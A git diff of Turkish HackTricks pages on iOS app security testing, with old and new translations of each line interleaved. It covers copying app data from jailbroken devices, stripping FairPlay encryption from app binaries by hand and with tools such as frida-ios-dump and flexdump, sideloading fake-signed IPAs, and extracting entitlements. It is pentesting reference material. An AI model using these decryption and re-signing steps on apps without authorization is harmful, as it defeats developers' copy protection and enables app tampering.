**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Data dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Data dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Grafik Kullanıcı Arayüzü Araçları**
|
||||
### **Grafiksel Kullanıcı Arayüzü Araçları**
|
||||
|
||||
**iFunbox ve iExplorer Kullanımı:** Bu GUI araçları, iOS cihazlardaki dosyaları yönetmek için kullanışlıdır. Ancak, iOS 8.4 ile başlayarak, Apple bu araçların uygulama sandbox'ına erişimini kısıtladı, ancak cihaz jailbreak yapılmışsa erişim sağlanabilir.
|
||||
**iFunbox ve iExplorer Kullanımı:** Bu GUI araçları, iOS cihazlarındaki dosyaları yönetmek için faydalıdır. Ancak, iOS 8.4 ile birlikte, Apple bu araçların uygulama sandbox'una erişimini kısıtladı, cihaz jailbreak edilmedikçe.
|
||||
|
||||
### **Dosya Yönetimi için Objection Kullanımı**
|
||||
|
||||
**Objection ile Etkileşimli Kabuk:** Objection'ı başlatmak, bir uygulamanın Bundle dizinine erişim sağlar. Buradan, uygulamanın Documents dizinine giderek dosyaları yönetebilir, iOS cihazına dosya indirebilir ve yükleyebilirsiniz.
|
||||
**Objection ile Etkileşimli Shell:** Objection'ı başlatmak, bir uygulamanın Bundle dizinine erişim sağlar. Buradan, uygulamanın Belgeler dizinine geçebilir ve dosyaları yönetebilir, bunları iOS cihazına indirme ve yükleme işlemlerini gerçekleştirebilirsiniz.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
file download <filename>
|
||||
```
|
||||
## **Uygulamaların Elde Edilmesi ve Çıkarılması**
|
||||
## **Uygulamaları Elde Etme ve Çıkarma**
|
||||
|
||||
### **IPA Dosyasının Edinilmesi**
|
||||
### **IPA Dosyasını Elde Etme**
|
||||
|
||||
**Over-The-Air (OTA) Dağıtım Bağlantısı:** OTA ile test için dağıtılan uygulamalar, ITMS hizmetleri varlık indirme aracı kullanılarak indirilebilir. Bu araç npm aracılığıyla yüklenir ve IPA dosyasını yerel olarak kaydetmek için kullanılır.
|
||||
**Hava Üzerinden (OTA) Dağıtım Bağlantısı:** Test için OTA üzerinden dağıtılan uygulamalar, npm aracılığıyla kurulan ve IPA dosyasını yerel olarak kaydetmek için kullanılan ITMS hizmetleri varlık indirme aracı ile indirilebilir.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### **Uygulama İkili Dosyasını Çıkarma**
|
||||
|
||||
1. **Bir IPA'dan:** IPA'yı açarak şifresi çözülmüş uygulama ikili dosyasına erişin.
|
||||
2. **Jailbreak Yapılmış Bir Cihazdan:** Uygulamayı yükleyin ve bellekten şifresi çözülmüş ikili dosyayı çıkarın.
|
||||
1. **Bir IPA'dan:** Şifrelenmemiş uygulama ikili dosyasına erişmek için IPA'yı açın.
|
||||
2. **Kırılmış Bir Cihazdan:** Uygulamayı yükleyin ve şifrelenmemiş ikili dosyayı bellekten çıkarın.
|
||||
|
||||
### **Şifre Çözme Süreci**
|
||||
|
||||
**Manuel Şifre Çözme Genel Bakışı:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenir. Tersine mühendislik yapabilmek için, şifresi çözülmüş ikili dosyayı bellekten çıkarmak gerekir. Şifre çözme süreci, PIE bayrağının kontrol edilmesini, bellek bayraklarının ayarlanmasını, şifreli bölümün belirlenmesini ve ardından bu bölümün şifresi çözülmüş haliyle değiştirilmesini içerir.
|
||||
**Manuel Şifre Çözme Genel Bakış:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenmiştir. Ters mühendislik yapmak için, şifrelenmemiş ikili dosyayı bellekten dökmek gerekir. Şifre çözme süreci, PIE bayrağını kontrol etmeyi, bellek bayraklarını ayarlamayı, şifrelenmiş bölümü tanımlamayı ve ardından bu bölümü şifrelenmemiş haliyle değiştirmeyi içerir.
|
||||
|
||||
**PIE Bayrağının Kontrol Edilmesi ve Değiştirilmesi:**
|
||||
**PIE Bayrağını Kontrol Etme ve Değiştirme:**
|
||||
```bash
|
||||
otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
otool -Vh Hello_World
|
||||
```
|
||||
**Şifreli Bölümü Tanımlama ve Belleği Dökme:**
|
||||
**Şifreli Bölümü Belirleme ve Belleği Dökme:**
|
||||
|
||||
`otool` kullanarak şifreli bölümün başlangıç ve bitiş adreslerini belirleyin ve gdb kullanarak jailbreak yapılmış cihazdan belleği dökün.
|
||||
`otool` kullanarak şifreli bölümün başlangıç ve bitiş adreslerini belirleyin ve jailbreak yapılmış cihazdan belleği `gdb` kullanarak dökün.
|
||||
```bash
|
||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
|
||||
dump memory dump.bin 0x8000 0x10a4000
|
||||
```
|
||||
**Şifreli Bölümü Üzerine Yazma:**
|
||||
|
||||
Orijinal uygulama ikili dosyasındaki şifreli bölümü, şifresi çözülmüş veriyle değiştirin.
|
||||
Orijinal uygulama ikili dosyasındaki şifreli bölümü, şifrelenmemiş döküm ile değiştirin.
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**Şifre Çözümünü Tamamlama:** `MachOView` gibi araçları kullanarak, şifreleme olmadığını belirtmek için ikili dosyanın meta verilerini değiştirin ve `cryptid` değerini 0 olarak ayarlayın.
|
||||
**Şifre Çözümlemenin Tamamlanması:** Şifrelemenin yokluğunu belirtmek için ikili dosyanın meta verilerini **MachOView** gibi araçlar kullanarak değiştirin, `cryptid` değerini 0 olarak ayarlayın.
|
||||
|
||||
### **Şifre Çözümü (Otomatik Olarak)**
|
||||
|
||||
### **Şifre Çözme (Otomatik)**
|
||||
#### **frida-ios-dump**
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından uygulamaların otomatik olarak şifrelenmesini ve çıkarılmasını sağlamak için kullanılır. İlk olarak, `dump.py` dosyası iOS cihazına bağlanacak şekilde yapılandırılmalıdır. Bu, **iproxy** aracılığıyla localhost üzerinden 2222 numaralı porta veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir.
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu ile veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir.
|
||||
|
||||
Cihaza yüklenen uygulamaları listelemek için aşağıdaki komut kullanılır:
|
||||
Cihazda yüklü olan uygulamalar şu komutla listelenebilir:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
```
|
||||
|
@ -129,10 +131,10 @@ Belirli bir uygulamayı, örneğin Telegram'ı dökmek için aşağıdaki komut
|
|||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
Bu komut, mevcut dizinde `Telegram.ipa` adlı bir dosyanın oluşturulmasıyla sonuçlanan uygulama dökümünü başlatır. Bu işlem, jailbreak yapılmış cihazlar için uygundur, çünkü imzasız veya sahte imzalı uygulamalar [**ios-deploy**](https://github.com/ios-control/ios-deploy) gibi araçlar kullanılarak yeniden yüklenebilir.
|
||||
Bu komut, uygulama dökümünü başlatır ve mevcut dizinde `Telegram.ipa` dosyasının oluşturulmasına neden olur. Bu işlem, imzasız veya sahte imzalı uygulamaların [**ios-deploy**](https://github.com/ios-control/ios-deploy) gibi araçlar kullanılarak yeniden yüklenebileceği jailbreak'li cihazlar için uygundur.
|
||||
|
||||
#### **flexdecrypt**
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) aracı ve onun sarmalayıcısı [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), yüklü uygulamalardan IPA dosyalarının çıkarılmasını sağlar. Cihazdaki **flexdecrypt** için kurulum komutları, `.deb` paketinin indirilip kurulması içerir. Aşağıdaki komutlarda gösterildiği gibi **flexdump**, uygulamaları listelemek ve dökmek için kullanılabilir:
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) aracı ve onun sarmalayıcısı [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), yüklü uygulamalardan IPA dosyalarının çıkarılmasına olanak tanır. Cihazda **flexdecrypt** için kurulum komutları, `.deb` paketinin indirilmesi ve yüklenmesini içerir. **flexdump**, aşağıdaki komutlarda gösterildiği gibi uygulamaları listelemek ve dökmek için kullanılabilir:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
|
@ -140,53 +142,54 @@ flexdump list
|
|||
flexdump dump Twitter.app
|
||||
```
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), başka bir Frida tabanlı araçtır ve uygulama şifrelemesini çözmek için jailbreak yapılmış bir cihaz gerektirir:
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), başka bir Frida tabanlı araç, uygulama şifrelemesini çözmek için jailbreak yapılmış bir cihaza ihtiyaç duyar:
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
**r2flutch**, radare ve frida'yı kullanarak uygulama şifrelemesini ve dökümlemesini sağlar. Daha fazla bilgiye [**GitHub sayfasında**](https://github.com/as0ler/r2flutch) ulaşılabilir.
|
||||
**r2flutch**, hem radare hem de frida kullanarak, uygulama şifrelemesi ve dökümü için hizmet eder. Daha fazla bilgi [**GitHub sayfasında**](https://github.com/as0ler/r2flutch) bulunabilir.
|
||||
|
||||
### **Uygulama Kurulumu**
|
||||
### **Uygulama Yükleme**
|
||||
|
||||
**Sideloading**, resmi App Store dışında uygulama kurulumunu ifade eder. Bu işlem **installd daemon** tarafından yönetilir ve uygulamaların Apple tarafından verilen bir sertifika ile imzalanması gerekmektedir. Jailbreak yapılmış cihazlar, sahte imzalı IPA paketlerinin kurulumunu mümkün kılan **AppSync** ile bu işlemi atlayabilir.
|
||||
**Sideloading**, uygulamaların resmi App Store dışında yüklenmesini ifade eder. Bu işlem **installd daemon** tarafından yönetilir ve uygulamaların Apple tarafından verilen bir sertifika ile imzalanmasını gerektirir. Jailbroken cihazlar, sahte imzalı IPA paketlerinin yüklenmesini sağlayan **AppSync** aracılığıyla bunu atlayabilir.
|
||||
|
||||
#### **Sideloading Araçları**
|
||||
|
||||
- **Cydia Impactor**: iOS üzerinde IPA dosyalarını, Android üzerinde APK dosyalarını imzalamak ve kurmak için bir araçtır. Kılavuzlar ve sorun giderme için [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresine bakabilirsiniz.
|
||||
- **Cydia Impactor**: iOS'ta IPA dosyalarını ve Android'de APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir.
|
||||
|
||||
- **libimobiledevice**: Linux ve macOS için iOS cihazlarla iletişim kurmak için bir kütüphanedir. Uygulamaları USB üzerinden kurmak için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmaktadır.
|
||||
- **libimobiledevice**: iOS cihazlarıyla iletişim kurmak için Linux ve macOS için bir kütüphanedir. USB üzerinden uygulama yüklemek için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmıştır.
|
||||
|
||||
- **ipainstaller**: Bu komut satırı aracı, iOS cihazlara doğrudan uygulama kurulumuna izin verir.
|
||||
- **ipainstaller**: Bu komut satırı aracı, iOS cihazlarında doğrudan uygulama yüklemeye olanak tanır.
|
||||
|
||||
- **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını kurar. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak bu sürecin bir parçasıdır.
|
||||
- **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır.
|
||||
|
||||
- **Xcode**: Uygulamaları kurmak için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** bölümüne ekleyin.
|
||||
- **Xcode**: Uygulamaları yüklemek için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** kısmına ekleyin.
|
||||
|
||||
#### **iPad Olmayan Cihazlara Uygulama Kurulumuna İzin Verme**
|
||||
iPhone veya iPod touch cihazlara iPad'e özgü uygulamaları kurmak için **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak, imza doğrulama kontrolleri nedeniyle bu değişiklik IPA dosyasının yeniden imzalanmasını gerektirir.
|
||||
#### **iPad Dışı Cihazlarda Uygulama Yüklemeye İzin Ver**
|
||||
iPhone veya iPod touch cihazlarında iPad'e özel uygulamaları yüklemek için, **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak, bu değişiklik imza doğrulama kontrolleri nedeniyle IPA dosyasının yeniden imzalanmasını gerektirir.
|
||||
|
||||
**Not**: Bu yöntem, daha eski bir iPhone veya iPod touch kullanırken uygulamanın daha yeni iPad modellerine özgü yetenekler talep etmesi durumunda başarısız olabilir.
|
||||
**Not**: Bu yöntem, uygulama daha yeni iPad modellerine özgü yetenekler talep ediyorsa, eski bir iPhone veya iPod touch kullanırken başarısız olabilir.
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github reposuna PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# Derlenmiş Uygulamadan Yetkilendirmeleri Çıkarma
|
||||
# Derlenmiş Uygulamadan Yetkilerin Çıkarılması
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Sayfanın özeti [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
### **Yetkilendirmeleri ve Mobil İzin Dosyalarını Çıkarma**
|
||||
### **Yetkilerin ve Mobil Sağlama Dosyalarının Çıkarılması**
|
||||
|
||||
Bir uygulamanın IPA'sıyla veya jailbreak yapılmış bir cihazdaki yüklenmiş bir uygulamayla uğraşırken, `.entitlements` dosyalarını veya `embedded.mobileprovision` dosyasını doğrudan bulmak mümkün olmayabilir. Bununla birlikte, yetkilendirme özellik listeleri, "iOS Temel Güvenlik Testi" bölümünde belirtilen prosedürler izlenerek uygulama ikili dosyasından çıkarılabilir.
|
||||
Bir uygulamanın IPA'sı veya jailbreak yapılmış bir cihazda kurulu bir uygulama ile çalışırken, `.entitlements` dosyalarını veya `embedded.mobileprovision` dosyasını doğrudan bulmak mümkün olmayabilir. Ancak, yetki özellik listeleri uygulama ikili dosyasından çıkarılabilir; bu, "iOS Temel Güvenlik Testi" bölümünde, özellikle "Uygulama İkili Dosyasını Edinme" kısmında belirtilen prosedürleri takip ederek yapılabilir.
|
||||
|
||||
Şifrelenmiş ikili dosyalarla bile, bu dosyaların çıkarılması için belirli adımlar uygulanabilir. Bu adımlar başarısız olursa, Clutch (iOS sürümüyle uyumluysa), frida-ios-dump veya benzeri araçlar kullanılarak uygulama şifrelenerek çıkarılabilir.
|
||||
Şifreli ikili dosyalarla bile, bu dosyaları çıkarmak için belirli adımlar uygulanabilir. Bu adımlar başarısız olursa, Clutch (iOS sürümüyle uyumluysa), frida-ios-dump veya benzeri yardımcı programlar uygulamayı şifre çözmek ve çıkarmak için gerekli olabilir.
|
||||
|
||||
#### **Uygulama İkili Dosyasından Yetkilendirmeler Plist'inin Çıkarılması**
|
||||
#### **Uygulama İkili Dosyasından Yetki Plist'inin Çıkarılması**
|
||||
|
||||
Uygulama ikili dosyası bir bilgisayarda erişilebilir durumdaysa, **binwalk** kullanılarak tüm XML dosyaları çıkarılabilir. Aşağıdaki komut bunu nasıl yapacağını göstermektedir:
|
||||
Uygulama ikili dosyası bir bilgisayarda erişilebilir olduğunda, **binwalk** kullanılarak tüm XML dosyaları çıkarılabilir. Aşağıdaki komut bunu nasıl yapacağınızı göstermektedir:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -34,33 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
Alternatif olarak, **radare2** kullanılabilir. Sessizce bir komut çalıştırır ve çıkar, uygulama ikili dosyasında "PropertyList" içeren tüm dizeleri arar:
|
||||
Alternatif olarak, **radare2** sessizce bir komut çalıştırmak ve çıkmak için kullanılabilir, "PropertyList" içeren uygulama ikili dosyasındaki tüm dizeleri aramak için:
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Her iki yöntem de, `plist` dosyalarının çıkarılmasını sağlar. İlk dosyanın (0x0015d2a4) incelenmesi, [Telegram'ın orijinal yetkilendirme dosyasının](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) başarılı bir şekilde kurtarıldığını ortaya koyar.
|
||||
Her iki yöntem, binwalk ve radare2, `plist` dosyalarının çıkarılmasını sağlar; birincisinin (0x0015d2a4) incelenmesi, [Telegram'dan orijinal yetki dosyasının](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements) başarılı bir şekilde kurtarıldığını ortaya koymaktadır.
|
||||
|
||||
SSH aracılığıyla jailbreak yapılmış cihazlarda erişilen uygulama ikili dosyaları için **grep** komutu, tüm dosyaları ASCII metin olarak işlemek için `-a, --text` bayrağıyla kullanılabilir:
|
||||
Jailbroken cihazlarda erişilen uygulama ikili dosyaları için (örneğin, SSH üzerinden), **grep** komutu `-a, --text` bayrağı ile tüm dosyaları ASCII metin olarak ele almak için kullanılabilir:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
`-A num, --after-context=num` bayrağını ayarlamak, daha fazla veya daha az satırın görüntülenmesine olanak tanır. Bu yöntem, şifrelenmiş uygulama ikili dosyaları için bile uygulanabilir ve birden fazla App Store uygulaması üzerinde doğrulanmıştır. Daha önce bahsedilen araçlar, benzer amaçlar için jailbroken iOS cihazlarda da kullanılabilir.
|
||||
`-A num, --after-context=num` bayrağını ayarlamak, daha fazla veya daha az satırın görüntülenmesine olanak tanır. Bu yöntem, şifreli uygulama ikili dosyaları için bile geçerlidir ve birden fazla App Store uygulaması üzerinde doğrulanmıştır. Daha önce bahsedilen araçlar, benzer amaçlar için jailbreak yapılmış iOS cihazlarında da kullanılabilir.
|
||||
|
||||
**Not**: Bu görev için `strings` komutunun doğrudan kullanımı, ilgili bilgileri bulma konusundaki sınırlamaları nedeniyle önerilmez. Bunun yerine, daha etkili sonuçlar için ikili dosya üzerinde `-a` bayrağıyla grep kullanmak veya radare2 (`izz`)/rabin2 (`-zz`) kullanmak tavsiye edilir.
|
||||
**Not**: Bu görev için `strings` komutunun doğrudan kullanılması, ilgili bilgileri bulmadaki sınırlamaları nedeniyle önerilmez. Bunun yerine, ikili dosya üzerinde `-a` bayrağı ile grep kullanmak veya daha etkili sonuçlar için radare2 (`izz`)/rabin2 (`-zz`) kullanmak tavsiye edilir.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin</strong>!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,77 +1,79 @@
|
|||
# iOS Uygulama Uzantıları
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
